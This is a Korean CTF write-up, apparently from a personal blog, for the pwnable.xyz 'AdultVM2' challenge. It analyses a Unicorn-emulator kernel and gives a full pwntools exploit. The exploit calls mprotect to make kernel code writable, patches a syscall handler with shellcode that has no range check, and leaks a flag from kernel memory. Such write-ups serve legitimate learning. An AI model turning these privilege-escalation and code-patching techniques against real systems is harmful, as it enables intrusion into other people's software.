tmxklab

[Pwnable.xyz] AdultVM2 본문

War Game/Pwnable.xyz

[Pwnable.xyz] AdultVM2

tmxk4221 2020. 9. 9. 22:37

1. 문제

nc svc.pwnable.xyz 30048

 

AdultVM과 동일하다. 여기서는 flag2.txt파일을 읽어야 할 것 같다.

이전에 살펴봤듯이 flag2.txt는 start_kernel()로직에서 file open하는 것을 확인하였으므로 커널 영역에서 확인해야 할 듯 하다.

 

unicorn-engine관련 함수 참고)

 

[Pwnable.xyz] BabyVM

1. 문제 nc svc.pwnable.xyz 30044 1) mitigation 확인 2) 문제 확인 default program을 실행 시킬 것인지 물어봄 'y'를 입력한 경우 : 이름을 입력하고 프로그램 종료 'n'를 입력한 경우 : program을 보내기..

rninche01.tistory.com

 

1) start.py 코드 분석

1-1) start_kernel()

KERNEL_ADDRESS = 0xFFFFFFFF81000000
KERNEL_STACK =   0xFFFF8801FFFFF000

KERNEL_SYSCALL_HANDLER = KERNEL_ADDRESS + 7
KERNEL_SEGFAULT_HANDLER = KERNEL_ADDRESS + 14

MAPPING_SIZE = 0x100000

def start_kernel():
    kernel = read("/home/cmc/Desktop/pwnable/adultvm/kernel")
    flag2 = read("/home/cmc/Desktop/pwnable/adultvm/flag2.txt")

    # 1. 인스턴스 생성 및 유저 영역 메모리 매핑 
    # text영역(r--), data영역(rw-), stack영역(rw-)
    mu = Uc(UC_ARCH_X86, UC_MODE_64)
    mu.mem_map_ptr(USER_ADDRESS, MAPPING_SIZE, UC_PROT_READ, USER_TEXT_MEM)
    mu.mem_map_ptr(USER_ADDRESS + MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_DATA_MEM)
    mu.mem_map_ptr(USER_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE, USER_STACK_MEM)

    # 2. 커널 영역 메모리 매핑 
    # KERNEL_ADDRESS(r-x), KERNEL_STACK - MAPPING_SIZE(rw-)
    mu.mem_map(KERNEL_ADDRESS, MAPPING_SIZE, UC_PROT_READ | UC_PROT_EXEC)
    mu.mem_map(KERNEL_STACK - MAPPING_SIZE, MAPPING_SIZE, UC_PROT_READ | UC_PROT_WRITE)
	
    # 3. 커널 영역 메모리 쓰고 hook event에 대한 콜백함수 등록
    # KERNEL_ADDRESS(텍스트 영역인듯)에 open한 kernel데이터 쓰기
    # handle_kernel, in, out, interrupt, invalid 콜백함수 등록
    mu.mem_write(KERNEL_ADDRESS, kernel)
    mu.hook_add(UC_HOOK_CODE, handle_kernel, None, KERNEL_ADDRESS, KERNEL_ADDRESS+MAPPING_SIZE)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
    mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
    mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
    mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_FETCH_UNMAPPED, handle_kernel_invalid)

    # 4. 레지스터에 값 적용
    # RSP = KERNEL_STACK(0xFFFF8801FFFFF000) - 0X1000
    # RIP = KERNEL_ADDRESS(0xFFFFFFFF81000000) -> text영역임
    mu.reg_write(UC_X86_REG_RSP, KERNEL_STACK-0x1000)
    mu.reg_write(UC_X86_REG_RIP, KERNEL_ADDRESS)

    # 5. flag2.txt파일 내용 메모리에 쓰기 
    # KERNEL_ADDRESS + 0x5000에 flag2.txt 파일 내용있음
    mu.mem_write(KERNEL_ADDRESS + 0x5000, flag2)

    # 6. 에뮬 시작
    mu.emu_start(KERNEL_ADDRESS, KERNEL_ADDRESS + len(kernel))
  • 보기 쉽게 위에 주석을 다 달아놨다. 이전에 babyVM에서 유니콘 엔진 함수들을 봐서 그런지 직관적으로 어떻게 작동하는지 대충 이해가 간다.
  • 중요한 부분은 KERNEL_ADDRESS + 0X5000에 우리가 원하는 flag2.txt파일 내용이 있다. 이 부분을 읽으면 될 듯하다.
  • 마지막으로 후크 이벤트에 대한 콜백함수를 살펴보자
    • mu.hook_add(UC_HOOK_INSN, handle_kernel_in, None, 1, 0, UC_X86_INS_IN)
    • mu.hook_add(UC_HOOK_INSN, handle_kernel_out, None, 1, 0, UC_X86_INS_OUT)
    • mu.hook_add(UC_HOOK_INTR, handle_kernel_interrupt)
    • 위에 2개는 sys_read, write에 대한 처리를 하는 함수를 등록하는 것 같고 마지막 1개는 UC_HOOK_INTR 인터럽트가 발생할 때 처리하는 함수를 등록하는 것 같다.

 

1-2) handle_kernel_in, out()

def handle_kernel_in(uc, port, size, user_data):
    if port == 0x3f8 and size == 1:
        c = sys.stdin.read(1)
        if not c:
            os._exit(-1)
        return ord(c)

def handle_kernel_out(uc, port, size, value, user_data):
    if port == 0x3f8 and size == 1:
        sys.stdout.write(chr(value))
        sys.stdout.flush()
  • sys_read, write를 처리하는 함수인 것 같다.

 

1-3) handle_kernel_interrupt()

def handle_kernel_interrupt(uc, intno, data):
    if intno == 0x70:
        rax = uc.reg_read(UC_X86_REG_RAX)
        if rax == 0:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            uc.mem_protect(rdi, rsi, rdx)
        elif rax == 7:
            rdi = uc.reg_read(UC_X86_REG_RDI)
            rsi = uc.reg_read(UC_X86_REG_RSI)
            rdx = uc.reg_read(UC_X86_REG_RDX)
            buf = str(eval(str(uc.mem_read(rdi, rdx))))
            uc.mem_write(rsi, buf)
            uc.reg_write(UC_X86_REG_RAX, len(buf))
  • 인터럽트가 발생하면 실행되는 콜백 함수이다.
  • rax값을 읽어서 rax가 0일 때 mprotext(rdi, rsi, rdx)를 실행시킨다.

  • 그리고 rax값이 7일 때 잘 보면 eval()가 보인다. 이 부분은 일단 킵해두자

 


2. 접근방법

 

위 코드 분석을 통해 알아낼 수 있는 점은 KERNEL_ADDRESS(0xFFFFFFFF81000000)+0x5000주소에 flag2.txt파일 내용이 작성된 것을 알 수 있고 sys_read, write에 대한 콜백 함수, 인터럽트가 발생했을 때 처리하는 콜백 함수를 확인할 수 있다.

우리의 목표는 커널 영역에 로드된 0xFFFFFFFF81005000위치에 존재하는 플래그 값을 읽는 것이므로 유저 영역에서 sys_write를 통해 해당 위치를 읽을 때 커널에서 어떻게 처리되는지 확인해보자

 

 

롸업을 보면서 이해하기...

start.py에서 KERNEL_ADDRESS가 0xFFFFFFFF81000000이므로 kernel파일을 올릴 때 offset을 저렇게 주고 시작

 

sys_write를 호출하는 로직인 것 같다. rdi(fd)값이 1인지 검사하고 0x800000000000과 rsi(buf)를 검사한 뒤에 실행되는 것 같다. 즉 출력할 buf주소 값이 0x800000000000보다 작거나 같으면 sys_write가 실행되지 않고 분기되는 것 같다. 따라서, 플래그 값은 0xFFFFFFFF81005000에 있기 때문에 위 조건문에서 걸리지게 된다.

 

그래서 일반적인 방법으로 sys_write를 통해 커널 영역에 있는 플래그 값을 출력할 수 없으므로 커널 데이터를 내가 원하는 커스텀 코드(주소 검사가 없는 sys_write코드)로 패치해서 호출하면 될 것이고 패치하기 위해서 mprotect함수를 이용해서 커널의 코드 영역의 권한을 모두 다 줘버리면 패치를 할 수 있을 것이다.

 

참고로 sys_mprotect()를 호출하면 커널에서 다음 루틴을 수행하고

int 0x70을 통해 인터럽트를 발생시켜 **handle_kernel_interrupt()**콜백함수에 의해 rdi, rsi, rdx를 세팅하고 sys_mprotect를 실행시킨다.

 

커스텀 코드는 kernel에 구현되어 있는 sys_write에서 범위검사를 뺀 코드만 작성

mov     rcx, rdx
mov     rax, rcx
mov     dx, 3F8h
rep outsb
iret

 

AdultVM에서 notes[0]의 값을 조절할 수 있고 함수 포인터를 변경할 수 있는 것을 확인하였다.

show_note()에서 notes[id].show()를 호출하는 부분이다. 여기서 notes[0]구조의 각 id, note, size를 출력하기 위해서 notes[0]에 있는 값을 rdx, rcx, rsi, rdi에 세팅하고 rax를 호출한다. 여기서 rax에 __syscall()를 넣으면 자유롭게 레지스터 값을 세팅하고 원하는 syscall을 수행할 수 있다.

추가로 mprotect함수를 실행시키기 위해서 rax값을 0x10을 넣어야 하는데 read_line()에서는 0x10을 못 넣기 때문에 처음에 do_read()를 실행시켜 notes[0]의 값을 세팅시켜준다.

 

 

정리)

0) mprotect()를 실행시키기 위해 rax값에 0x10을 넣어야 하지만 read_line()에서 0x10을 못 넣으므로 do_read()를 실행시켜 우회

1) mprotect함수를 실행시켜 kernel code영역의 권한을 rwx로 세팅

  • sys_write를 사용하여 flag값을 읽는데 범위 검사에 걸리므로 범위 검사가 없는 커스텀 코드를 패치하기 위해서

2) sys_read를 통해서 커스텀 코드 패치

  • 이 때, 특정 syscall을 발생할 때 처리하는 로직이 있는 곳에 패치

3) 커스텀 코드가 위치한 부분에 syscall을 발생

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context(log_level="debug", arch="amd64", os="linux")

#p = process(["python", "start.py"])
#p = process("./userland")
p = remote("svc.pwnable.xyz", 30048)

kernel_addr = 0xFFFFFFFF81000000
unmmap_addr = 0xFFFFFFFF8100013E
#mmap_addr = 0xFFFFFFFF81000130
syscall_addr = 0x4000338
read_addr = 0x400000f
notes_addr = 0x4100380
custom_code = '''
    mov rcx, rdx
    mov rax, rcx
    mov dx, 0x3f8
    rep outsb
    iret
'''

def edit(idx, content):
    p.sendlineafter("3. Exit\n", str(1))
    p.sendlineafter("Note id: ", str(idx))
    p.sendlineafter("Contents: ", content)

def show(idx):
    p.sendlineafter("3. Exit\n", str(2))
    p.sendlineafter("Note id: ", str(idx))


for idx in range(0, 9):
    edit(idx, "A")

# 1. do_read() 
# Input notes[0] -> 0x10
payload = "A"*0x8
payload += p64(notes_addr)      # rsi(buf)
payload += p64(0x28)            # rdx(count)
payload += p64(0xff)*2
payload += p64(read_addr)

edit(9, payload)
show(0)

# 2. write & execute sys_mprotect
# sys_mprotect : rax = 0xa, rdi = start, rsi = len, rdx = prot 
payload = p64(10)               # rax(syscall number)
payload += p64(kernel_addr)     # rdi(kernel)
payload += p64(0x1000)          # rsi(len)
payload += p64(7)               # rdx(rwx)
payload += p64(syscall_addr)    # call __syscall()

sleep(0.1)
p.send(payload)
show(0)

# 3. patch custom code -> sys_read
custom_code = asm(custom_code)

payload = "A"*0x8
payload += p64(0)                   # rax(syscall number)
payload += p64(0)                   # rdi(fd)
payload += p64(unmmap_addr)           # rsi(buf)
payload += p64(len(custom_code))    # rdx(count)
payload += p64(syscall_addr)        # call __syscall()

edit(9, payload)
show(0)

sleep(0.1)
p.send(custom_code)

# 4. sys_unmmap() -> custom_code
payload = "A"*0x8                   
payload += p64(11)                  # rax(syscall number)
payload += p64(1)                   # rdi(fd)
payload += p64(kernel_addr+0x5000)  # rsi(buf)
payload += p64(0x40)                # rdx(count)
payload += p64(syscall_addr)        # call __syscall()

edit(9, payload)
show(0)

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

 

참고)

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] note v5  (0) 2020.09.09
[Pwnable.xyz] AdultVM 3  (0) 2020.09.09
[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
[Pwnable.xyz] fishing  (0) 2020.09.09
Comments